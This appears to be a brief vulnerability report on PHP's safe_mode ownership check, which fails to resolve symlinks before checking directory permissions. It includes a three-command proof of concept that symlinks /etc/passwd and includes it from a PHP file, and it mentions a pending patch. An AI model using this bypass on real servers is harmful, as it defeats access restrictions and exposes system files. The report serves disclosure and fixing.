php_checkuid() [ main/safe_mode.c:46 ] first checks the ownership of the file you are trying to open against the ownership of the executing script.

if that check fails, it checks the ownership of the directory containing the file you are trying to open. the second part never calls VCWD_REALPATH() on the filename before trimming it to get the working directory. thus it is simple to bypass safe mode restrictions.

in a directory you own, create a symlink to say /etc/passwd then include that symlink in a file you own.

eg:
$ cd $HOME/public_html
$ ln -s /etc/passwd symlink
$ echo '<pre><?php include "symlink"; ?></pre>' > passwd.php

I have a patch (almost) prepared that calls VCWD_REALPATH() on the destination, then trims the filename in order to get directory permissions.